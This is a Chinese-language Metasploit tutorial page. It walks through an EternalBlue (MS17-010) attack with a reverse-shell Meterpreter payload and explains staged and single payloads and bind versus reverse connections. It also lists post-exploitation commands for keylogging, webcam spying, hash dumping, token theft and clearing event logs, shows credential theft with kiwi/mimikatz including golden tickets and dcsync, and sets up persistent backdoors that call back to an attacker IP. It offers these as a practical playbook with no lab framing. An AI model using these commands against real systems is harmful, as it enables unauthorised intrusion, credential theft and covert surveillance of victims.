基础使用
1 2 3 4 5 6 7 8 9 10 11
| msfconsole # 进入框架 search ms17_010 # 使用search命令查找相关漏洞 use exploit/windows/smb/ms17_010_eternalblue # 使用use进入模块 info # 使用info查看模块信息 show targets # 显示当前攻击模块针对哪些特定操作系统版本、语言版本的系统 show payloads # 查看可用的payload,默认reverse_tcp set payload windows/x64/meterpreter/reverse_tcp # 设置payload show options # 查看模块需要配置的参数 set RHOST 192.168.100.158 # 设置参数 exploit / run # 攻击 后渗透阶段 # 后渗透阶段
|
Metasploit框架将攻击与成功利用后执行的内容(payload)分离开来。Metasploit框架中的payload也分为两部分,即stager和stage。stager负责下载大型payload(stage),将其注入内存,并将执行动作传递给它。

payload
简单来说,Payload是黑客用来与被黑了的系统交互的简单脚本。使用payload,可以将数据传输到已经沦陷的系统。Metasploit中的 Payload 模块主要有以下三种类型:
Single:
是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。Singles非常小,旨在建立某种通讯,然后进入下一阶段。例如,只是创建一个用户。
Stager:ed
这种Payload 负责建立目标用户与攻击者之间的网络连接,是一种攻击者用来将更大的文件上传到沦陷的系统的payload。
一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条 tcp 连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
Stage:
是由Stagers下载的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制,如Meterpreter和VNCInjection。
HowPayloads Work
payload模块位于modules/payloads/{singles,stages,stagers}/<platform>
当框架启动时,stages与stagers结合以创建可在漏洞利用中使用的完整的payload。然后,handlers与payload配对,因此框架将知道如何使用给定的通信机制创建会话。
Staged payloads:<platform>/ [arch] / <stage> / <stager>
Single payloads:<platform>/ [arch] / <single>
这会产生像windows/ x64 / meterpreter / reverse_tcp
这样的payload。平台是windows,架构是x64,我们提供的最终的stage是meterpreter
,而传递它的stager是reverse_tcp
。
请注意,arch是可选的,因为在某些情况下,它是不必要或者已经默认了。比如php/ meterpreter / reverse_tcp。PHP的payload不需要Arch,因为我们提供的是解释代码而不是二进制代码。
当我们在Metasploit中执行 show payloads 命令之后,它会给我们显示一个可使用的Payload列表:
注:
在这个列表中,像 windows/powershell_bind_tcp 就是一个Single Payload,它不包含Stage Payload。
而windows/meterpreter/reverse_tcp 则由一个Stage Payload(meterpreter)和 一个Stager Payload(reverse_tcp组成。
Stager中几种常见的payload:
1 2 3 4
| windows/meterpreter/bind_tcp #正向连接 windows/meterpreter/reverse_tcp #反向连接,常用 windows/meterpreter/reverse_http #通过监听80端口反向连接 windows/meterpreter/reverse_https #通过监听443端口反向连接
|
正向连接使用场景:
我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了80端口。那么,我们就只能设置正向连接80端口了,这里很有可能失败,因为80端口上的流量太多了。
反向连接使用场景:
我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。
反向连接80和443端口使用场景:
被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口或443端口与外部通信。
Meterpreter:
Meterpreter属于stage payload,在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。
Meterpreter是如何工作的?:
首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。
Meterpreter的特点:
Meterpreter完全驻留在内存,没有写入到磁盘。
Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程。
默认情况下, Meterpreter的通信是加密的,所以很安全。
扩展性,许多新的特征模块可以被加载。
在设置payloads 时,可以将payloads设置为:windows/meterpreter/reverse_tcp
,然后获得了meterpreter>
就可以干很多事了。
后渗透
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172
| Meterpreter > ? ========================================== 核心命令: ========================================== 命令 说明 ------- ------------ ? 帮助菜单 background 把当前会话挂到后台运行 bg background命令的别名 bgkill 杀死后台meterpreter 脚本 bglist 列出正在运行的后台脚本 bgrun 执行一个meterpreter脚本作为后台线程 channel 显示信息或控制活动频道 close 关闭一个频道 detach 分离Meterpreter会话(用于 http/https) disable_unicode_encoding 禁用 unicode 字符串的编码 enable_unicode_encoding 启用 unicode 字符串的编码 exit 终止 Meterpreter 会话 get_timeouts 获取当前会话超时值 guid 获取会话 GUID help 帮助菜单 info 显示有关 Post 模块的信息 irb 在当前会话中打开一个交互式 Ruby shell load 加载一个或多个 Meterpreter 扩展 machine_id 获取连接到会话的机器的 MSF ID migrate 将服务器迁移到另一个进程 pivot 管理枢轴侦听器 pry 在当前会话上打开 Pry 调试器 quit 终止 Meterpreter 会话 read 从通道读取数据 resource 运行存储在文件中的命令 run 执行一个 Meterpreter 脚本或 Post 模块 secure (重新)协商会话上的 TLV 数据包加密 sessions 快速切换到另一个会话 set_timeouts 设置当前会话超时值 sleep 强制 Meterpreter 安静,然后重新建立会话 ssl_verify 修改 SSL 证书验证设置 transport 管理运输机制 use 不推荐使用的load命令别名 uuid 获取当前会话的 UUID write 将数据写入通道
========================================== Stdapi:文件系统命令 ==========================================
命令 说明 ------- ------------ cat 将文件内容读到屏幕上 cd 切换目录 checksum 检索文件的校验和 cp 将源复制到目标 del 删除指定文件 dir 列出文件(ls 的别名) download 下载文件或目录 edit 编辑文件 getlwd 打印本地工作目录 getwd 打印工作目录 lcd 更改本地工作目录 lls 列出本地文件 lpwd 打印本地工作目录 ls 列出文件 mkdir 制作目录 mv 将源移动到目标 pwd 打印工作目录 rm 删除指定文件 rmdir 删除目录 search 搜索文件 show_mount 列出所有挂载点/逻辑驱动器 upload 上传文件或目录
========================================== Stdapi:网络命令 ========================================== 命令 说明 ------- ------------ arp 显示主机 ARP 缓存 getproxy 显示当前代理配置 ifconfig 显示界面 ipconfig 显示接口 netstat 显示网络连接 portfwd 将本地端口转发到远程服务 resolve 解析目标上的一组主机名 route 查看和修改路由表
========================================== Stdapi:系统命令 ========================================== 命令 说明 ------- ------------ clearev 清除事件日志 drop_token 放弃任何活动的模拟令牌。 execute 执行命令 getenv 获取一个或多个环境变量值 getpid 获取当前进程标识符 getprivs 尝试启用当前进程可用的所有权限 getid 获取服务器运行的用户的 SID getuid 获取服务器运行的用户 kill 终止进程 localtime 显示目标系统本地日期和时间 pgrep 按名称过滤进程 pkill 按名称终止进程 ps 列出正在运行的进程 reboot 重启远程计算机 reg 修改远程注册表并与之交互 rev2self 在远程机器上调用 RevertToSelf() shell 放入系统命令 shell shutdown 关闭远程计算机 steal_token 尝试从目标进程窃取模拟令牌 suspend 暂停或恢复进程列表 sysinfo 获取有关远程系统的信息,例如 OS
========================================== Stdapi:用户界面命令 ========================================== 命令 说明 ------- ------------ enumdesktops 列出所有可访问的桌面和窗口站 getdesktop 获取当前的meterpreter桌面 idletime 返回远程用户空闲的秒数 keyboard_send 发送击键 keyevent 发送按键事件 keyscan_dump 转储击键缓冲区 keyscan_start 开始捕获击键 keyscan_stop 停止捕获击键 mouse 发送鼠标事件 screenshare 实时观看远程用户桌面 screenshot 抓取交互式桌面的截图 setdesktop 更改meterpreters当前桌面 uictl 控制一些用户界面组件
========================================== Stdapi:网络摄像头命令: ========================================== 命令 说明 ------- ------------ record_mic 从默认麦克风录制音频 X 秒 webcam_chat 开始视频聊天 webcam_list 列出网络摄像头 webcam_snap 从指定的网络摄像头拍摄快照 webcam_stream 从指定的网络摄像头播放视频流
========================================== Stdapi:音频输出命令: ========================================== 命令 说明 ------- ------------ play 在目标系统上播放波形音频文件 (.wav)
========================================== Priv:权限提升命令: ========================================== 命令 说明 ------- ------------ getsystem 尝试将您的权限提升到本地系统的权限。
========================================== Priv:密码数据库命令: ========================================== 命令 说明 ------- ------------ hashdump 转储 SAM 数据库的内容
========================================== Priv:Timestomp 命令: ========================================== 命令 说明 ------- ------------ timestomp 操作文件 MACE 属性
meterpreter >
|
抓取密码
kiwi模块简介:
mimikatz模块已经合并为kiwi模块;使用kiwi模块需要system权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。
前提:
1. 提权到system权限:
1.1 提到system有两个方法:
一是当前的权限是administrator用户;
二是利用其它手段先提权到administrator用户。然后administrator用户可以直接在meterpreter_shell中使用命令getsystem提权到system权限。
1.2 进行提权:
1 2
| getuid #查看当前会话用户身份 getsystem #自动尝试提权
|
2. 进程迁移:
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。
所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。
1、查看当前系统信息,可以看出目标系统是64位的:
命令:
2、查看进程信息:
命令:
3、把进程迁移到PID为504这个程序中(因为当前用户):
注:因为目标系统是64位的所以需要把meterpreter进程迁移到一个64位程序的进程中。
命令:
三、kiwi模块的使用:
1 2
| load kiwi #加载kiwi模块 help kiwi #查看kiwi模块的使用
|
一些有关密码和凭据的命令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| creds_all: #列举所有凭据 creds_kerberos: #列举所有kerberos凭据 creds_msv: #列举所有msv凭据 creds_ssp: #列举所有ssp凭据 creds_tspkg: #列举所有tspkg凭据 creds_wdigest: #列举所有wdigest凭据 dcsync: #通过DCSync检索用户帐户信息 dcsync_ntlm: #通过DCSync检索用户帐户NTLM散列、SID和RID golden_ticket_create: #创建黄金票据 kerberos_ticket_list: #列举kerberos票据 kerberos_ticket_purge: #清除kerberos票据 kerberos_ticket_use: #使用kerberos票据 kiwi_cmd: #执行mimikatz的命令,后面接mimikatz.exe的命令 lsa_dump_sam: #dump出lsa的SAM lsa_dump_secrets: #dump出lsa的密文 password_change: #修改密码 wifi_list: #列出当前用户的wifi配置文件 wifi_list_shared: #列出共享wifi配置文件/编码
|
1. creds_all:
该命令可以列举系统中的明文密码:
命令:
2. kiwi_cmd:
1 2 3
| kiwi_cmd 模块可以让我们使用mimikatz的全部功能,该命令后面接 mimikatz.exe 的命令:
kiwi_cmd sekurlsa::logonpasswords
|
生成持续性后门
因为 meterpreter 是基于内存DLL建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用 meterpreter 建立连接。所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。
建立持续性后门有两种方法,一种是通过启动项启动(persistence) ,一种是通过 服务启动(metsvc)
启动项启动
启动项启动的话,我们先生成一个后门工具,传送门——> 使用msfvenom生成多平台后门木马
然后放到windows的启动目录中:
1
| C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
|
这样这个后门每次开机就都能启动了,然后我们只要相连就监听相应的端口就行了。
服务启动
通过服务启动,我们可以运行命令
1 2 3
| run persistence -X -i 5 -p 8888 -r 192.168.10.27 #反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀
#然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启动
|
https://zhuanlan.zhihu.com/p/61412226
https://blog.csdn.net/weixin_45588247/article/details/119614618
meterpreter后渗透攻击部分命令
MSF中kiwi(mimikatz)模块的使用
https://www.anquanke.com/post/id/235631#h3-28
https://wangjun.dev/2016/04/metasploit-generate-backdoor/